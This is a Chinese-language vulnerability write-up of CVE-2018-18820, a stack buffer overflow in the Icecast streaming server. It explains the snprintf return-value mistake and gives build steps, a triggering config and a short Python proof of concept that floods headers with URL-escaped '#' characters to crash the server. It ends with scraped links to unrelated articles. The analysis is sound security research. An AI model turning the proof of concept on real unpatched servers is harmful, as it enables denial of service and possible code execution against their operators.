CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析
前言
icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18820 )。
影响版本
version 2.4.0, 2.4.1, 2.4.2 or 2.4.3
触发条件
配置文件中,对 <mount> 节点配置了 url 认证
了解 snprintf
snprintf 可以控制往目标缓冲区写数据的长度,比 sprintf 要安全一些。不过有些开发者可能会误解它的返回值, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。
下面写一个 demo 演示下就清楚了。
#include <stdio.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char buf[100] = {0};
char large[2000] = {0};
memset(large, 'k', 1999);
int ret = snprintf(buf, 100, "xxx%s", large);
printf("%d\n", ret);
return 0;
}
运行结果
$ gcc test.c -o test -g
$ ./test
2002
可以看到 snprintf 的返回值是 2002 , 这个其实就是 "xxx%s", large 格式化解析生成的字符串的长度,而实际写入 buf 的数据长度为 100 字节。
环境搭建
从 gitlab 把源码下载下来,然后切换到一个有漏洞的分支,然后编译它。
git clone https://gitlab.xiph.org/xiph/icecast-server.git
cd icecast-server/
git reset a192f696c30635c98a6704451a4d9e5d9668108c --hard
git submodule update --init
./autogen.sh
./configure --with-curl
make -j4
sudo make install
编译完之后生成 src/icecast, 这个就是 icecast-server 的程序。
可以触发漏洞的配置文件(icecast.xml)
<icecast>
<location>Earth</location>
<admin>icemaster@localhost</admin>
<hostname>0.0.0.0</hostname>
<limits>
<clients>100</clients>
<sources>2</sources>
<queue-size>524288</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-size>655355</burst-size>
</limits>
<authentication>
<source-password>hackme</source-password>
<relay-password>hackme</relay-password>
<admin-user>admin</admin-user>
<admin-password>hackme</admin-password>
</authentication>
<listen-socket>
<port>8000</port>
</listen-socket>
<http-headers>
<header name="Access-Control-Allow-Origin" value="*" />
</http-headers>
<mount type="normal">
<mount-name>/auth_example.ogg</mount-name>
<authentication>
<role type="url" match-method="get,post,head,options" allow-web="*" deny-admin="*" may-alter="send_error,redirect">
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
<option name="client_remove" value="http://myauthserver.net/notify_listener.php"/>
<option name="action_add" value="listener_add"/>
<option name="action_remove" value="listener_remove"/>
<option name="headers" value="x-foo,x-bar"/>
</role>
<role type="anonymous" match-method="get,post,head,options" deny-all="*" />
</authentication>
<event-bindings>
<event type="url" trigger="source-connect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_add" />
</event>
<event type="url" trigger="source-disconnect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_remove" />
</event>
</event-bindings>
</mount>
<paths>
<basedir>/usr/local/share/icecast</basedir>
<logdir>/usr/local/var/log/icecast</logdir>
<webroot>/usr/local/share/icecast/web</webroot>
<adminroot>/usr/local/share/icecast/admin</adminroot>
<alias source="/" destination="/status.xsl"/>
</paths>
<logging>
<accesslog>access.log</accesslog>
<errorlog>error.log</errorlog>
<loglevel>information</loglevel> <!-- "debug", "information", "warning", or "error" -->
<logsize>10000</logsize> <!-- Max size of a logfile -->
</logging>
<security>
<chroot>false</chroot>
</security>
</icecast>
然后使用 -c 参数指定配置文件路径启动服务器
./src/icecast -c icecast.xml
PS: 可能会提示一些目录不存在,手动创建,然后修改权限给程序访问即可。

此时服务器会监听 8000 端口。
漏洞分析
漏洞位于 url_add_client, 下面来分析分析这个函数

首先判断 url->addurl 不能为空,然后取出了一些客户端请求的信息,比如 user-agnet。
一开始的配置文件被我删的过多,导致 url->addurl 一直为空,后来通过在源码里面搜索引用的地方发现它其实是从配置文件读取出来的 _

其实就是配置文件的 其中一个 option 节点的值
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
继续往下看

这里首先获取了请求的 url ,服务器的信息,然后把这些信息和之前拿到的 user-agent 使用 snprintf 拼接到 post 缓冲区里,这个缓冲区大小为 4096 。然后把返回值保存到了 post_offset.
接下来程序会从HTTP请求里面取出在配置文件中指定的 header 头部字段 的值。
<option name="headers" value="x-foo,x-bar"/>
在这里就是 x-foo 和 x-bar 首部字段的值,取出之后再次使用 snprintf 拼接到 post_offset 里面。

注意到此时 snprintf 的 第一个参数为
post + post_offset
返回值随后也是保存到 post_offset 里面。通过前面的了解,snprintf 的返回值,返回的是 解析格式化字符串后生成的字符串的长度。然后 snprintf 的 header_valesc 其实就是我们提交的首部字段的值。那我们就可以通过构造超长的 header_valesc 来使得 post_offset 变成一个比较大的值 (超过 post 缓冲区的大小), 这样在下一次调用 snprintf 时,就可以越界写栈上的数据了。
POC 构造
从漏洞位置往上看,发现修改 post_offset 就两处,一处是最开始的时候把 user_agent 拼接到 post
post_offset = snprintf(post, sizeof (post),
"action=%s&server=%s&port=%d&client=%lu&mount=%s"
"&user=%s&pass=%s&ip=%s&agent=%s",
url->addaction, /* already escaped */
server, port, client->con->id, mount, username,
password, ipaddr, user_agent);
第二次就是漏洞点
header_valesc = util_url_escape (header_val);
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);
开始想着直接发 超长的字符过去就行了,测试发现服务器对数据包的最大长度有限制(大概是 4000 字节左右),发太长的数据包,服务器直接拒绝掉了。
$ python poc.py
Traceback (most recent call last):
File "poc.py", line 11, in <module>
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 72, in get
return request('get', url, params=params, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 490, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', error(104, 'Connection reset by peer'))
这样的话其实是触发不了漏洞的(长度不够导致 post_offset 值也不够大)。
下面就在思考该怎么把长度凑够。
方法一
可以发现在第一次调 snprintf 时,把配置文件中的项拼接进去了( url->addaction), 第二次的调用会把配置文件中配置的 首部字段名 也拼接进去, 那修改配置文件,把这些项设置的长一些应该可以凑够越界的长度(估计漏洞作者就是这样干的)。
https://gitlab.xiph.org/xiph/icecast-server/issues/2342
方法二
最开始看代码时忽视了一个函数 util_url_escape , 发现从 HTTP 请求里面取出的数据 (user_agent 和 首部的值) 都会先用这个函数 处理一遍,然后去做拼接,测试发现这个函数是一个 url 编码函数。
我们知道一些特殊字符会 url 编码成 3 个字符,比如 # 就会被编码成 %23 .
所以我们可以用 会被 url 编码的特殊字符来让 post_offset 值足够超过 post 的大小,然后后面的调用就会触发越界写了。
poc
#!/usr/bin/env python
# encoding: utf-8
import requests
# 会把 # url 编码(%23),从而产生 3 倍的 字符
payload = "#" * 1000
headers = {}
headers['user-agent'] = payload
headers['x-foo'] = payload
headers['x-bar'] = payload
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
会修改掉一些栈上的数据,导致 服务器crash

CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析的更多相关文章
- CVE-2018-15688 systemd dhcp6组件越界写漏洞分析
编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径 https://codeload.github.com/poettering/systemd/zip/3941f8329 ...
- Netatalk CVE-2018–1160 越界访问漏洞分析
编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...
- 【转帖】intel 2018年1 月2号爆出漏洞分析 知乎匿名用户
作者:匿名用户链接:https://www.zhihu.com/question/265012502/answer/288407097来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载 ...
- 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞
这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- STATUS_STACK_BUFFER_OVERRUN不一定是栈缓冲区溢出
STATUS_STACK_BUFFER_OVERRUN异常一般是指栈缓冲区溢出的溢出,代码为0xC0000409,消息提示一般为“Security check failure or stack buf ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- STM32下FatFs的移植,实现了坏块管理,硬件ECC,ECC纠错,并进行擦写均衡分析
最近因项目需要,做一个数据采集的单片机平台.需要移植 FatFs .现在把最后成果贴上来. 1.摘要 在 STM32 单片机上,成功移植 FatFs 0.12b,使用的 Nand Flash 芯片为 ...
- Java性能分析之线程栈详解与性能分析
Java性能分析之线程栈详解 Java性能分析迈不过去的一个关键点是线程栈,新的性能班级也讲到了JVM这一块,所以本篇文章对线程栈进行基础知识普及以及如何对线程栈进行性能分析. 基本概念 线程堆栈也称 ...
随机推荐
- odoo开发笔记 -- 视图继承扩展
参考: http://www.jeffzhang.cn/Odoo-Notes-2/ http://blog.csdn.net/zhangfeng1133/article/details/4693517 ...
- STL简洁 && c++读取cfg文件
在c++工程中,往往需要修改一些变量来实现不同的功能效果,这是cfg文件的使用可以使得工程更加高效与便利,这篇文章介绍的就是c++读取cfg文件的相关内容,以便及时总结和日后回顾. STL即标准模板库 ...
- 使用代数方程库 Algebra.js解二元一次方程
假设二元一次方程如下: x + y = 11 x - y = 5 解方程如下: <!DOCTYPE html> <html lang="zh-CN"> &l ...
- 升级Ghost
环境:CentOS 6.3 [root@AY1406151605405725a8Z ghost]# ls -l total 108 -rw-rw-rw- 1 root root 1132 Sep ...
- 使用GitHub Pages + Jekyll 建立博客
https://pages.github.com/ http://jekyllbootstrap.com/usage/jekyll-quick-start.html Jekyll是一个静态网站生成器, ...
- 使用vue开发微信公众号下SPA站点的填坑之旅
原文发表于本人博客,点击进入使用vue开发微信公众号下SPA站点的填坑之旅 本文为我创业过程中,开发项目的填坑之旅.作为一个技术宅男,我的项目是做一个微信公众号,前后端全部自己搞定,不浪费国家一分钱^ ...
- Word在转PDF的过程中如何创建标签快速方便阅读(图文详解)
不多说,直接上干货! 选择如下 成功! 欢迎大家,加入我的微信公众号:大数据躺过的坑 人工智能躺过的坑 同时,大家可以关注我的个人博客: http://www.cnbl ...
- NIO的Buffer&Channel&Selector
java的NIO和AIO Buffer position.limit.capacity 初始化 Buffer 填充 Buffer 提取 Buffer 中的值 mark() & reset() ...
- java Multimap
实现 { "a": [ , , ], "b": [ , ] } 当然, HashMap<String, List<Integer>> 是 ...
- Python制作回合制手游外挂简单教程(上)
引入: 每次玩回合制游戏的时候,反反复复的日常任务让人不胜其烦 玩问道的时候,我们希望能够自动刷道,玩梦幻希望能自动做师门.捉鬼等等 说明: 该外挂只能模拟鼠标键盘操作,并不能修改游戏数据 我这里使用 ...